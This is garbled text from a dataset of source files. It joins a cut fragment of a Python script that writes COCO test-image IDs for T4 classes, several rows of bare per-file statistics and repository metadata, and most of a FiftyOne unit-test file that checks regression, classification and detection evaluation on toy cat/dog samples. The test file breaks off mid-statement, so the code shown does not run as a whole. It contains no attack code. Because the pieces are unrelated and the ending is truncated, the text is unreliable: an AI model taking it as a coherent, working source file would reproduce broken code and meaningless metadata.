= [coco_instance.cats[annotation['category_id']]['name'] for annotation in coco_instance.imgToAnns[image_id]] if not set(classes).isdisjoint(T4_CLASS_NAMES): image_ids.append(image_details['file_name'].split('.')[0]) cls.extend(classes) (unique, counts) = np.unique(cls, return_counts=True) print({x:y for x,y in zip(unique, counts)}) c = 0 for x,y in zip(unique, counts): if x in T4_CLASS_NAMES: c += y print(c) print(len(image_ids)) with open(dest_file, 'w') as file: for image_id in image_ids: file.write(str(image_id)+'\n') print('Created test file') # dest_file = '/proj/cvl/users/x_fahkh/akshita/data/VOC2007/ImageSets/Main/t4_test_unk.txt' # with open(dest_file, 'w') as file: # for image_id in image_ids: # file.write(str(image_id)+'\n') # print('Created test_unk file')
31.298701
121
0.699585
368
2,410
4.372283
0.263587
0.052206
0.03729
0.064636
0.83468
0.83468
0.813549
0.75637
0.709136
0.709136
0
0.015474
0.141909
2,410
76
122
31.710526
0.762573
0.097925
0
0.754717
0
0
0.198061
0.098338
0
0
0
0
0
1
0
false
0
0.037736
0
0.037736
0.150943
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
a1e296efd299e3a93efa6bce7840acbfb99b947f
65,440
py
Python
tests/unittests/evaluation_tests.py
Fariborzzz/fiftyone
06975961f5ee649dd36429feb21c959dfc0744ed
[ "Apache-2.0" ]
1
2021-12-17T10:11:37.000Z
2021-12-17T10:11:37.000Z
tests/unittests/evaluation_tests.py
Fariborzzz/fiftyone
06975961f5ee649dd36429feb21c959dfc0744ed
[ "Apache-2.0" ]
null
null
null
tests/unittests/evaluation_tests.py
Fariborzzz/fiftyone
06975961f5ee649dd36429feb21c959dfc0744ed
[ "Apache-2.0" ]
null
null
null
""" FiftyOne evaluation-related unit tests. | Copyright 2017-2021, Voxel51, Inc. | `voxel51.com <https://voxel51.com/>`_ | """ import unittest import warnings import numpy as np import fiftyone as fo from decorators import drop_datasets class RegressionTests(unittest.TestCase): def _make_regression_dataset(self): dataset = fo.Dataset() sample1 = fo.Sample(filepath="image1.jpg") sample2 = fo.Sample( filepath="image2.jpg", ground_truth=fo.Regression(value=1.0), predictions=None, ) sample3 = fo.Sample( filepath="image3.jpg", ground_truth=None, predictions=fo.Regression(value=1.0, confidence=0.9), ) sample4 = fo.Sample( filepath="image4.jpg", ground_truth=fo.Regression(value=2.0), predictions=fo.Regression(value=1.9, confidence=0.9), ) sample5 = fo.Sample( filepath="image5.jpg", ground_truth=fo.Regression(value=2.8), predictions=fo.Regression(value=3.0, confidence=0.9), ) dataset.add_samples([sample1, sample2, sample3, sample4, sample5]) return dataset @drop_datasets def test_evaluate_regressions_simple(self): dataset = self._make_regression_dataset() # # Test empty view # empty_view = dataset.limit(0) self.assertEqual(len(empty_view), 0) results = empty_view.evaluate_regressions( "predictions", gt_field="ground_truth", eval_key="eval", method="simple", ) empty_view.load_evaluation_view("eval") empty_view.get_evaluation_info("eval") results.print_metrics() metrics = results.metrics() self.assertEqual(metrics["support"], 0) # # Test evaluation (including missing data) # results = dataset.evaluate_regressions( "predictions", gt_field="ground_truth", eval_key="eval", method="simple", ) dataset.load_evaluation_view("eval") dataset.get_evaluation_info("eval") results.print_metrics() metrics = results.metrics() self.assertEqual(metrics["support"], 2) actual = dataset.values("eval") expected = [None, None, None, 0.01, 0.04] for a, e in zip(actual, expected): if e is None: self.assertIsNone(a) else: self.assertAlmostEqual(a, e) dataset.delete_evaluation("eval") self.assertNotIn("eval", dataset.list_evaluations()) self.assertNotIn("eval", dataset.get_field_schema()) class VideoRegressionTests(unittest.TestCase): def _make_video_regression_dataset(self): dataset = fo.Dataset() sample1 = fo.Sample(filepath="video1.mp4") sample2 = fo.Sample(filepath="video2.mp4") sample2.frames[1] = fo.Frame() sample3 = fo.Sample(filepath="video3.mp4") sample3.frames[1] = fo.Frame( ground_truth=fo.Regression(value=1.0), predictions=None, ) sample3.frames[2] = fo.Frame( ground_truth=None, predictions=fo.Regression(value=1.0, confidence=0.9), ) sample4 = fo.Sample(filepath="video4.mp4") sample4.frames[1] = fo.Frame( ground_truth=fo.Regression(value=2.0), predictions=fo.Regression(value=1.9, confidence=0.9), ) sample4.frames[2] = fo.Frame( ground_truth=fo.Regression(value=2.8), predictions=fo.Regression(value=3.0, confidence=0.9), ) dataset.add_samples([sample1, sample2, sample3, sample4]) return dataset @drop_datasets def test_evaluate_video_regressions_simple(self): dataset = self._make_video_regression_dataset() # # Test empty view # empty_view = dataset.limit(0) self.assertEqual(len(empty_view), 0) results = empty_view.evaluate_regressions( "frames.predictions", gt_field="frames.ground_truth", eval_key="eval", method="simple", ) empty_view.load_evaluation_view("eval") empty_view.get_evaluation_info("eval") results.print_metrics() metrics = results.metrics() self.assertEqual(metrics["support"], 0) # # Test evaluation (including missing data) # results = dataset.evaluate_regressions( "frames.predictions", gt_field="frames.ground_truth", eval_key="eval", method="simple", ) dataset.load_evaluation_view("eval") dataset.get_evaluation_info("eval") results.print_metrics() metrics = results.metrics() self.assertEqual(metrics["support"], 2) actual = dataset.values("eval") expected = [None, None, None, 0.025] for a, e in zip(actual, expected): if e is None: self.assertIsNone(a) else: self.assertAlmostEqual(a, e) actual = dataset.values("frames.eval", unwind=True) expected = [None, None, None, 0.01, 0.04] for a, e in zip(actual, expected): if e is None: self.assertIsNone(a) else: self.assertAlmostEqual(a, e) dataset.delete_evaluation("eval") self.assertNotIn("eval", dataset.list_evaluations()) self.assertNotIn("eval", dataset.get_field_schema()) self.assertNotIn("eval", dataset.get_frame_field_schema()) class ClassificationTests(unittest.TestCase): def _make_classification_dataset(self): dataset = fo.Dataset() sample1 = fo.Sample(filepath="image1.jpg") sample2 = fo.Sample( filepath="image2.jpg", ground_truth=fo.Classification(label="cat"), predictions=None, ) sample3 = fo.Sample( filepath="image3.jpg", ground_truth=None, predictions=fo.Classification( label="cat", confidence=0.9, logits=[0.9, 0.1] ), ) sample4 = fo.Sample( filepath="image4.jpg", ground_truth=fo.Classification(label="cat"), predictions=fo.Classification( label="cat", confidence=0.9, logits=[0.9, 0.1] ), ) sample5 = fo.Sample( filepath="image5.jpg", ground_truth=fo.Classification(label="cat"), predictions=fo.Classification( label="dog", confidence=0.9, logits=[0.1, 0.9] ), ) dataset.add_samples([sample1, sample2, sample3, sample4, sample5]) return dataset @drop_datasets def test_evaluate_classifications_simple(self): dataset = self._make_classification_dataset() # # Test empty view # empty_view = dataset.limit(0) self.assertEqual(len(empty_view), 0) results = empty_view.evaluate_classifications( "predictions", gt_field="ground_truth", eval_key="eval", method="simple", ) empty_view.load_evaluation_view("eval") empty_view.get_evaluation_info("eval") results.report() results.print_report() metrics = results.metrics() self.assertEqual(metrics["support"], 0) actual = results.confusion_matrix() self.assertEqual(actual.shape, (0, 0)) # # Test evaluation (including missing data) # results = dataset.evaluate_classifications( "predictions", gt_field="ground_truth", eval_key="eval", method="simple", ) dataset.load_evaluation_view("eval") dataset.get_evaluation_info("eval") results.report() results.print_report() metrics = results.metrics() self.assertEqual(metrics["support"], 3) # rows = GT, cols = predicted, labels = [cat, dog] actual = results.confusion_matrix() expected = np.array([[1, 1], [0, 0]], dtype=int) self.assertEqual(actual.shape, expected.shape) self.assertTrue((actual == expected).all()) # rows = GT, cols = predicted, labels = [cat, dog, None] classes = list(results.classes) + [results.missing] actual = results.confusion_matrix(classes=classes) expected = np.array([[1, 1, 1], [0, 0, 0], [1, 0, 1]], dtype=int) self.assertEqual(actual.shape, expected.shape) self.assertTrue((actual == expected).all()) self.assertIn("eval", dataset.list_evaluations()) self.assertIn("eval", dataset.get_field_schema()) self.assertListEqual( dataset.values("eval"), [True, False, False, True, False], ) dataset.delete_evaluation("eval") self.assertNotIn("eval", dataset.list_evaluations()) self.assertNotIn("eval", dataset.get_field_schema()) @drop_datasets def test_evaluate_classifications_top_k(self): dataset = self._make_classification_dataset() # # Test empty view # empty_view = dataset.limit(0) self.assertEqual(len(empty_view), 0) results = empty_view.evaluate_classifications( "predictions", gt_field="ground_truth", eval_key="eval", classes=["cat", "dog"], method="top-k", ) empty_view.load_evaluation_view("eval") empty_view.get_evaluation_info("eval") results.report() results.print_report() metrics = results.metrics() self.assertEqual(metrics["support"], 0) # rows = GT, cols = predicted, labels = [cat, dog] actual = results.confusion_matrix() expected = np.array([[0, 0], [0, 0]], dtype=int) self.assertEqual(actual.shape, expected.shape) self.assertTrue((actual == expected).all()) # # Test evaluation (including missing data) # with warnings.catch_warnings(): warnings.simplefilter("ignore") # suppress missing logits warning results = dataset.evaluate_classifications( "predictions", gt_field="ground_truth", eval_key="eval", classes=["cat", "dog"], method="top-k", ) dataset.load_evaluation_view("eval") dataset.get_evaluation_info("eval") results.report() results.print_report() metrics = results.metrics() self.assertEqual(metrics["support"], 3) # rows = GT, cols = predicted, labels = [cat, dog] actual = results.confusion_matrix() expected = np.array([[2, 0], [0, 0]], dtype=int) self.assertEqual(actual.shape, expected.shape) self.assertTrue((actual == expected).all()) # rows = GT, cols = predicted, labels = [cat, dog, None] classes = list(results.classes) + [results.missing] actual = results.confusion_matrix(classes=classes) expected = np.array([[2, 0, 1], [0, 0, 0], [1, 0, 1]], dtype=int) self.assertEqual(actual.shape, expected.shape) self.assertTrue((actual == expected).all()) self.assertIn("eval", dataset.list_evaluations()) self.assertIn("eval", dataset.get_field_schema()) self.assertListEqual( dataset.values("eval"), [False, False, False, True, True], ) dataset.delete_evaluation("eval") self.assertNotIn("eval", dataset.list_evaluations()) self.assertNotIn("eval", dataset.get_field_schema()) with warnings.catch_warnings(): warnings.simplefilter("ignore") # suppress missing logits warning results = dataset.evaluate_classifications( "predictions", gt_field="ground_truth", eval_key="eval", classes=["cat", "dog"], method="top-k", k=1, ) # rows = GT, cols = predicted, labels = [cat, dog] actual = results.confusion_matrix() expected = np.array([[1, 1], [0, 0]], dtype=int) self.assertEqual(actual.shape, expected.shape) self.assertTrue((actual == expected).all()) # rows = GT, cols = predicted, labels = [cat, dog, None] classes = list(results.classes) + [results.missing] actual = results.confusion_matrix(classes=classes) expected = np.array([[1, 1, 1], [0, 0, 0], [1, 0, 1]], dtype=int) self.assertEqual(actual.shape, expected.shape) self.assertTrue((actual == expected).all()) self.assertListEqual( dataset.values("eval"), [False, False, False, True, False], ) @drop_datasets def test_evaluate_classifications_binary(self): dataset = self._make_classification_dataset() # # Test empty view # empty_view = dataset.limit(0) self.assertEqual(len(empty_view), 0) results = empty_view.evaluate_classifications( "predictions", gt_field="ground_truth", eval_key="eval", classes=["cat", "dog"], method="binary", ) empty_view.load_evaluation_view("eval") empty_view.get_evaluation_info("eval") results.report() results.print_report() metrics = results.metrics() self.assertEqual(metrics["support"], 0) # rows = GT, cols = predicted, labels = [cat, dog] actual = results.confusion_matrix() expected = np.array([[0, 0], [0, 0]], dtype=int) self.assertEqual(actual.shape, expected.shape) self.assertTrue((actual == expected).all()) # # Test evaluation (including missing data) # results = dataset.evaluate_classifications( "predictions", gt_field="ground_truth", eval_key="eval", classes=["cat", "dog"], method="binary", ) dataset.load_evaluation_view("eval") dataset.get_evaluation_info("eval") results.report() results.print_report() metrics = results.metrics() self.assertEqual(metrics["support"], 5) # rows = GT, cols = predicted, labels = [cat, dog] # Missing predictions are assigned the negative label ("cat") actual = results.confusion_matrix() expected = np.array([[4, 1], [0, 0]], dtype=int) self.assertEqual(actual.shape, expected.shape) self.assertTrue((actual == expected).all()) self.assertIn("eval", dataset.list_evaluations()) self.assertIn("eval", dataset.get_field_schema()) self.assertListEqual( dataset.values("eval"), ["TN", "TN", "TN", "TN", "FP"], ) dataset.delete_evaluation("eval") self.assertNotIn("eval", dataset.list_evaluations()) self.assertNotIn("eval", dataset.get_field_schema()) class VideoClassificationTests(unittest.TestCase): def _make_video_classification_dataset(self): dataset = fo.Dataset() sample1 = fo.Sample(filepath="video1.mp4") sample2 = fo.Sample(filepath="video2.mp4") sample2.frames[1] = fo.Frame() sample3 = fo.Sample(filepath="video3.mp4") sample3.frames[1] = fo.Frame( ground_truth=fo.Classification(label="cat"), predictions=None, ) sample3.frames[2] = fo.Frame( ground_truth=None, predictions=fo.Classification( label="cat", confidence=0.9, logits=[0.9, 0.1] ), ) sample4 = fo.Sample(filepath="video4.mp4") sample4.frames[1] = fo.Frame( ground_truth=fo.Classification(label="cat"), predictions=fo.Classification( label="cat", confidence=0.9, logits=[0.9, 0.1] ), ) sample4.frames[2] = fo.Frame( ground_truth=fo.Classification(label="cat"), predictions=fo.Classification( label="dog", confidence=0.9, logits=[0.1, 0.9] ), ) dataset.add_samples([sample1, sample2, sample3, sample4]) return dataset @drop_datasets def test_evaluate_video_classifications_simple(self): dataset = self._make_video_classification_dataset() # # Test empty view # empty_view = dataset.limit(0) self.assertEqual(len(empty_view), 0) results = empty_view.evaluate_classifications( "frames.predictions", gt_field="frames.ground_truth", eval_key="eval", method="simple", ) empty_view.load_evaluation_view("eval") empty_view.get_evaluation_info("eval") results.report() results.print_report() metrics = results.metrics() self.assertEqual(metrics["support"], 0) actual = results.confusion_matrix() self.assertEqual(actual.shape, (0, 0)) # # Test evaluation (including missing data) # results = dataset.evaluate_classifications( "frames.predictions", gt_field="frames.ground_truth", eval_key="eval", method="simple", ) dataset.load_evaluation_view("eval") dataset.get_evaluation_info("eval") results.report() results.print_report() metrics = results.metrics() self.assertEqual(metrics["support"], 3) # rows = GT, cols = predicted, labels = [cat, dog] actual = results.confusion_matrix() expected = np.array([[1, 1], [0, 0]], dtype=int) self.assertEqual(actual.shape, expected.shape) self.assertTrue((actual == expected).all()) # rows = GT, cols = predicted, labels = [cat, dog, None] classes = list(results.classes) + [results.missing] actual = results.confusion_matrix(classes=classes) expected = np.array([[1, 1, 1], [0, 0, 0], [1, 0, 1]], dtype=int) self.assertEqual(actual.shape, expected.shape) self.assertTrue((actual == expected).all()) self.assertIn("eval", dataset.list_evaluations()) self.assertIn("eval", dataset.get_field_schema()) self.assertIn("eval", dataset.get_frame_field_schema()) self.assertListEqual( dataset.values("frames.eval"), [[], [True], [False, False], [True, False]], ) dataset.delete_evaluation("eval") self.assertNotIn("eval", dataset.list_evaluations()) self.assertNotIn("eval", dataset.get_field_schema()) self.assertNotIn("eval", dataset.get_frame_field_schema()) @drop_datasets def test_evaluate_video_classifications_top_k(self): dataset = self._make_video_classification_dataset() # # Test empty view # empty_view = dataset.limit(0) self.assertEqual(len(empty_view), 0) results = empty_view.evaluate_classifications( "frames.predictions", gt_field="frames.ground_truth", eval_key="eval", classes=["cat", "dog"], method="top-k", ) empty_view.load_evaluation_view("eval") empty_view.get_evaluation_info("eval") results.report() results.print_report() metrics = results.metrics() self.assertEqual(metrics["support"], 0) # rows = GT, cols = predicted, labels = [cat, dog] actual = results.confusion_matrix() expected = np.array([[0, 0], [0, 0]], dtype=int) self.assertEqual(actual.shape, expected.shape) self.assertTrue((actual == expected).all()) # # Test evaluation (including missing data) # with warnings.catch_warnings(): warnings.simplefilter("ignore") # suppress missing logits warning results = dataset.evaluate_classifications( "frames.predictions", gt_field="frames.ground_truth", eval_key="eval", classes=["cat", "dog"], method="top-k", ) dataset.load_evaluation_view("eval") dataset.get_evaluation_info("eval") results.report() results.print_report() metrics = results.metrics() self.assertEqual(metrics["support"], 3) # rows = GT, cols = predicted, labels = [cat, dog] actual = results.confusion_matrix() expected = np.array([[2, 0], [0, 0]], dtype=int) self.assertEqual(actual.shape, expected.shape) self.assertTrue((actual == expected).all()) # rows = GT, cols = predicted, labels = [cat, dog, None] classes = list(results.classes) + [results.missing] actual = results.confusion_matrix(classes=classes) expected = np.array([[2, 0, 1], [0, 0, 0], [1, 0, 1]], dtype=int) self.assertEqual(actual.shape, expected.shape) self.assertTrue((actual == expected).all()) self.assertIn("eval", dataset.list_evaluations()) self.assertIn("eval", dataset.get_field_schema()) self.assertIn("eval", dataset.get_frame_field_schema()) self.assertListEqual( dataset.values("frames.eval"), [[], [False], [False, False], [True, True]], ) dataset.delete_evaluation("eval") self.assertNotIn("eval", dataset.list_evaluations()) self.assertNotIn("eval", dataset.get_field_schema()) self.assertNotIn("eval", dataset.get_frame_field_schema()) with warnings.catch_warnings(): warnings.simplefilter("ignore") # suppress missing logits warning results = dataset.evaluate_classifications( "frames.predictions", gt_field="frames.ground_truth", eval_key="eval", classes=["cat", "dog"], method="top-k", k=1, ) # rows = GT, cols = predicted, labels = [cat, dog] actual = results.confusion_matrix() expected = np.array([[1, 1], [0, 0]], dtype=int) self.assertEqual(actual.shape, expected.shape) self.assertTrue((actual == expected).all()) # rows = GT, cols = predicted, labels = [cat, dog, None] classes = list(results.classes) + [results.missing] actual = results.confusion_matrix(classes=classes) expected = np.array([[1, 1, 1], [0, 0, 0], [1, 0, 1]], dtype=int) self.assertEqual(actual.shape, expected.shape) self.assertTrue((actual == expected).all()) self.assertListEqual( dataset.values("frames.eval"), [[], [False], [False, False], [True, False]], ) @drop_datasets def test_evaluate_video_classifications_binary(self): dataset = self._make_video_classification_dataset() # # Test empty view # empty_view = dataset.limit(0) self.assertEqual(len(empty_view), 0) results = empty_view.evaluate_classifications( "frames.predictions", gt_field="frames.ground_truth", eval_key="eval", classes=["cat", "dog"], method="binary", ) empty_view.load_evaluation_view("eval") empty_view.get_evaluation_info("eval") results.report() results.print_report() metrics = results.metrics() self.assertEqual(metrics["support"], 0) # rows = GT, cols = predicted, labels = [cat, dog] actual = results.confusion_matrix() expected = np.array([[0, 0], [0, 0]], dtype=int) self.assertEqual(actual.shape, expected.shape) self.assertTrue((actual == expected).all()) # # Test evaluation (including missing data) # results = dataset.evaluate_classifications( "frames.predictions", gt_field="frames.ground_truth", eval_key="eval", classes=["cat", "dog"], method="binary", ) dataset.load_evaluation_view("eval") dataset.get_evaluation_info("eval") results.report() results.print_report() metrics = results.metrics() self.assertEqual(metrics["support"], 5) # rows = GT, cols = predicted, labels = [cat, dog] # Missing predictions are assigned the negative label ("cat") actual = results.confusion_matrix() expected = np.array([[4, 1], [0, 0]], dtype=int) self.assertEqual(actual.shape, expected.shape) self.assertTrue((actual == expected).all()) self.assertIn("eval", dataset.list_evaluations()) self.assertIn("eval", dataset.get_field_schema()) self.assertIn("eval", dataset.get_frame_field_schema()) self.assertListEqual( dataset.values("frames.eval"), [[], ["TN"], ["TN", "TN"], ["TN", "FP"]], ) dataset.delete_evaluation("eval") self.assertNotIn("eval", dataset.list_evaluations()) self.assertNotIn("eval", dataset.get_field_schema()) self.assertNotIn("eval", dataset.get_frame_field_schema()) class DetectionsTests(unittest.TestCase): def _make_detections_dataset(self): dataset = fo.Dataset() sample1 = fo.Sample(filepath="image1.jpg") sample2 = fo.Sample( filepath="image2.jpg", ground_truth=fo.Detections( detections=[ fo.Detection( label="cat", bounding_box=[0.1, 0.1, 0.4, 0.4], ) ] ), predictions=None, ) sample3 = fo.Sample( filepath="image3.jpg", ground_truth=None, predictions=fo.Detections( detections=[ fo.Detection( label="cat", bounding_box=[0.1, 0.1, 0.4, 0.4], confidence=0.9, ) ] ), ) sample4 = fo.Sample( filepath="image4.jpg", ground_truth=fo.Detections( detections=[ fo.Detection( label="cat", bounding_box=[0.1, 0.1, 0.4, 0.4], ) ] ), predictions=fo.Detections( detections=[ fo.Detection( label="cat", bounding_box=[0.1, 0.1, 0.4, 0.4], confidence=0.9, ) ] ), ) sample5 = fo.Sample( filepath="image5.jpg", ground_truth=fo.Detections( detections=[ fo.Detection( label="cat", bounding_box=[0.1, 0.1, 0.4, 0.4], ) ] ), predictions=fo.Detections( detections=[ fo.Detection( label="dog", bounding_box=[0.1, 0.1, 0.4, 0.4], confidence=0.9, ) ] ), ) dataset.add_samples([sample1, sample2, sample3, sample4, sample5]) return dataset def _make_instances_dataset(self): dataset = fo.Dataset() sample1 = fo.Sample(filepath="image1.jpg") sample2 = fo.Sample( filepath="image2.jpg", ground_truth=fo.Detections( detections=[ fo.Detection( label="cat", bounding_box=[0.1, 0.1, 0.4, 0.4], mask=np.full((8, 8), True), ) ] ), predictions=None, ) sample3 = fo.Sample( filepath="image3.jpg", ground_truth=None, predictions=fo.Detections( detections=[ fo.Detection( label="cat", bounding_box=[0.1, 0.1, 0.4, 0.4], confidence=0.9, mask=np.full((8, 8), True), ) ] ), ) sample4 = fo.Sample( filepath="image4.jpg", ground_truth=fo.Detections( detections=[ fo.Detection( label="cat", bounding_box=[0.1, 0.1, 0.4, 0.4], mask=np.full((8, 8), True), ) ] ), predictions=fo.Detections( detections=[ fo.Detection( label="cat", bounding_box=[0.1, 0.1, 0.4, 0.4], confidence=0.9, mask=np.full((8, 8), True), ), ] ), ) sample5 = fo.Sample( filepath="image5.jpg", ground_truth=fo.Detections( detections=[ fo.Detection( label="cat", bounding_box=[0.1, 0.1, 0.4, 0.4], mask=np.full((8, 8), True), ) ] ), predictions=fo.Detections( detections=[ fo.Detection( label="dog", bounding_box=[0.1, 0.1, 0.4, 0.4], confidence=0.9, mask=np.full((8, 8), True), ) ] ), ) dataset.add_samples([sample1, sample2, sample3, sample4, sample5]) return dataset def _make_polylines_dataset(self): dataset = fo.Dataset() sample1 = fo.Sample(filepath="image1.jpg") sample2 = fo.Sample( filepath="image2.jpg", ground_truth=fo.Polylines( polylines=[ fo.Polyline( label="cat", points=[ [(0.1, 0.1), (0.1, 0.4), (0.4, 0.4), (0.4, 0.1)] ], filled=True, ) ] ), predictions=None, ) sample3 = fo.Sample( filepath="image3.jpg", ground_truth=None, predictions=fo.Polylines( polylines=[ fo.Polyline( label="cat", points=[ [(0.1, 0.1), (0.1, 0.4), (0.4, 0.4), (0.4, 0.1)] ], filled=True, confidence=0.9, ) ] ), ) sample4 = fo.Sample( filepath="image4.jpg", ground_truth=fo.Polylines( polylines=[ fo.Polyline( label="cat", points=[ [(0.1, 0.1), (0.1, 0.4), (0.4, 0.4), (0.4, 0.1)] ], filled=True, ) ] ), predictions=fo.Polylines( polylines=[ fo.Polyline( label="cat", points=[ [(0.1, 0.1), (0.1, 0.4), (0.4, 0.4), (0.4, 0.1)] ], filled=True, confidence=0.9, ) ] ), ) sample5 = fo.Sample( filepath="image5.jpg", ground_truth=fo.Polylines( polylines=[ fo.Polyline( label="cat", points=[ [(0.1, 0.1), (0.1, 0.4), (0.4, 0.4), (0.4, 0.1)] ], filled=True, ) ] ), predictions=fo.Polylines( polylines=[ fo.Polyline( label="dog", points=[ [(0.1, 0.1), (0.1, 0.4), (0.4, 0.4), (0.4, 0.1)] ], filled=True, confidence=0.9, ) ] ), ) dataset.add_samples([sample1, sample2, sample3, sample4, sample5]) return dataset def _evaluate_coco(self, dataset, kwargs): _, gt_eval_field = dataset._get_label_field_path( "ground_truth", "eval" ) _, pred_eval_field = dataset._get_label_field_path( "predictions", "eval" ) # # Test empty view # empty_view = dataset.limit(0) self.assertEqual(len(empty_view), 0) results = empty_view.evaluate_detections( "predictions", gt_field="ground_truth", eval_key="eval", method="coco", compute_mAP=True, **kwargs, ) empty_view.load_evaluation_view("eval") empty_view.get_evaluation_info("eval") results.report() results.print_report() results.mAP() metrics = results.metrics() self.assertEqual(metrics["support"], 0) actual = results.confusion_matrix() self.assertEqual(actual.shape, (0, 0)) # # Test classwise evaluation (including missing data) # results = dataset.evaluate_detections( "predictions", gt_field="ground_truth", eval_key="eval", method="coco", compute_mAP=True, classwise=True, # don't allow matches w/ different classes **kwargs, ) dataset.load_evaluation_view("eval") dataset.get_evaluation_info("eval") results.report() results.print_report() results.mAP() metrics = results.metrics() self.assertEqual(metrics["support"], 3) # rows = GT, cols = predicted, labels = [cat, dog] actual = results.confusion_matrix() expected = np.array([[1, 0], [0, 0]], dtype=int) self.assertEqual(actual.shape, expected.shape) self.assertTrue((actual == expected).all()) # rows = GT, cols = predicted, labels = [cat, dog, None] classes = list(results.classes) + [results.missing] actual = results.confusion_matrix(classes=classes) expected = np.array([[1, 0, 2], [0, 0, 0], [1, 1, 0]], dtype=int) self.assertEqual(actual.shape, expected.shape) self.assertTrue((actual == expected).all()) self.assertIn("eval", dataset.list_evaluations()) self.assertListEqual( dataset.values(gt_eval_field), [None, ["fn"], None, ["tp"], ["fn"]], ) self.assertListEqual( dataset.values(pred_eval_field), [None, None, ["fp"], ["tp"], ["fp"]], ) self.assertIn("eval_tp", dataset.get_field_schema()) self.assertListEqual(dataset.values("eval_tp"), [0, 0, 0, 1, 0]) self.assertIn("eval_fp", dataset.get_field_schema()) self.assertListEqual(dataset.values("eval_fp"), [0, 0, 1, 0, 1]) self.assertIn("eval_fn", dataset.get_field_schema()) self.assertListEqual(dataset.values("eval_fn"), [0, 1, 0, 0, 1]) dataset.delete_evaluation("eval") self.assertNotIn("eval", dataset.list_evaluations()) self.assertListEqual( dataset.values(gt_eval_field), [None, [None], None, [None], [None]], ) self.assertListEqual( dataset.values(pred_eval_field), [None, None, [None], [None], [None]], ) self.assertNotIn("eval_tp", dataset.get_field_schema()) self.assertNotIn("eval_fp", dataset.get_field_schema()) self.assertNotIn("eval_fn", dataset.get_field_schema()) # # Test non-classwise evaluation (including missing data) # results = dataset.evaluate_detections( "predictions", gt_field="ground_truth", eval_key="eval", method="coco", compute_mAP=True, classwise=False, # allow matches w/ different classes **kwargs, ) # rows = GT, cols = predicted, labels = [cat, dog] actual = results.confusion_matrix() expected = np.array([[1, 1], [0, 0]], dtype=int) self.assertEqual(actual.shape, expected.shape) self.assertTrue((actual == expected).all()) # rows = GT, cols = predicted, labels = [cat, dog, None] classes = list(results.classes) + [results.missing] actual = results.confusion_matrix(classes=classes) expected = np.array([[1, 1, 1], [0, 0, 0], [1, 0, 0]], dtype=int) self.assertEqual(actual.shape, expected.shape) self.assertTrue((actual == expected).all()) self.assertListEqual( dataset.values(gt_eval_field), [None, ["fn"], None, ["tp"], ["fn"]], ) self.assertListEqual( dataset.values(pred_eval_field), [None, None, ["fp"], ["tp"], ["fp"]], ) self.assertListEqual(dataset.values("eval_tp"), [0, 0, 0, 1, 0]) self.assertListEqual(dataset.values("eval_fp"), [0, 0, 1, 0, 1]) self.assertListEqual(dataset.values("eval_fn"), [0, 1, 0, 0, 1]) def _evaluate_open_images(self, dataset, kwargs): _, gt_eval_field = dataset._get_label_field_path( "ground_truth", "eval" ) _, pred_eval_field = dataset._get_label_field_path( "predictions", "eval" ) # # Test empty view # empty_view = dataset.limit(0) self.assertEqual(len(empty_view), 0) results = empty_view.evaluate_detections( "predictions", gt_field="ground_truth", eval_key="eval", method="open-images", **kwargs, ) empty_view.load_evaluation_view("eval") empty_view.get_evaluation_info("eval") results.report() results.print_report() results.mAP() metrics = results.metrics() self.assertEqual(metrics["support"], 0) actual = results.confusion_matrix() self.assertEqual(actual.shape, (0, 0)) # # Test classwise evaluation (including missing data) # results = dataset.evaluate_detections( "predictions", gt_field="ground_truth", eval_key="eval", method="open-images", classwise=True, # don't allow matches w/ different classes **kwargs, ) dataset.load_evaluation_view("eval") dataset.get_evaluation_info("eval") results.report() results.print_report() results.mAP() metrics = results.metrics() self.assertEqual(metrics["support"], 3) # rows = GT, cols = predicted, labels = [cat, dog] actual = results.confusion_matrix() expected = np.array([[1, 0], [0, 0]], dtype=int) self.assertEqual(actual.shape, expected.shape) self.assertTrue((actual == expected).all()) # rows = GT, cols = predicted, labels = [cat, dog, None] classes = list(results.classes) + [results.missing] actual = results.confusion_matrix(classes=classes) expected = np.array([[1, 0, 2], [0, 0, 0], [1, 1, 0]], dtype=int) self.assertEqual(actual.shape, expected.shape) self.assertTrue((actual == expected).all()) self.assertIn("eval", dataset.list_evaluations()) self.assertListEqual( dataset.values(gt_eval_field), [None, ["fn"], None, ["tp"], ["fn"]], ) self.assertListEqual( dataset.values(pred_eval_field), [None, None, ["fp"], ["tp"], ["fp"]], ) self.assertIn("eval_tp", dataset.get_field_schema()) self.assertListEqual(dataset.values("eval_tp"), [0, 0, 0, 1, 0]) self.assertIn("eval_fp", dataset.get_field_schema()) self.assertListEqual(dataset.values("eval_fp"), [0, 0, 1, 0, 1]) self.assertIn("eval_fn", dataset.get_field_schema()) self.assertListEqual(dataset.values("eval_fn"), [0, 1, 0, 0, 1]) dataset.delete_evaluation("eval") self.assertNotIn("eval", dataset.list_evaluations()) self.assertListEqual( dataset.values(gt_eval_field), [None, [None], None, [None], [None]], ) self.assertListEqual( dataset.values(pred_eval_field), [None, None, [None], [None], [None]], ) self.assertNotIn("eval_tp", dataset.get_field_schema()) self.assertNotIn("eval_fp", dataset.get_field_schema()) self.assertNotIn("eval_fn", dataset.get_field_schema()) # # Test non-classwise evaluation (including missing data) # results = dataset.evaluate_detections( "predictions", gt_field="ground_truth", eval_key="eval", method="open-images", classwise=False, # allow matches w/ different classes **kwargs, ) # rows = GT, cols = predicted, labels = [cat, dog] actual = results.confusion_matrix() expected = np.array([[1, 1], [0, 0]], dtype=int) self.assertEqual(actual.shape, expected.shape) self.assertTrue((actual == expected).all()) # rows = GT, cols = predicted, labels = [cat, dog, None] classes = list(results.classes) + [results.missing] actual = results.confusion_matrix(classes=classes) expected = np.array([[1, 1, 1], [0, 0, 0], [1, 0, 0]], dtype=int) self.assertEqual(actual.shape, expected.shape) self.assertTrue((actual == expected).all()) self.assertListEqual( dataset.values(gt_eval_field), [None, ["fn"], None, ["tp"], ["fn"]], ) self.assertListEqual( dataset.values(pred_eval_field), [None, None, ["fp"], ["tp"], ["fp"]], ) self.assertListEqual(dataset.values("eval_tp"), [0, 0, 0, 1, 0]) self.assertListEqual(dataset.values("eval_fp"), [0, 0, 1, 0, 1]) self.assertListEqual(dataset.values("eval_fn"), [0, 1, 0, 0, 1]) @drop_datasets def test_evaluate_detections_coco(self): dataset = self._make_detections_dataset() kwargs = {} self._evaluate_coco(dataset, kwargs) @drop_datasets def test_evaluate_instances_coco(self): dataset = self._make_instances_dataset() kwargs = 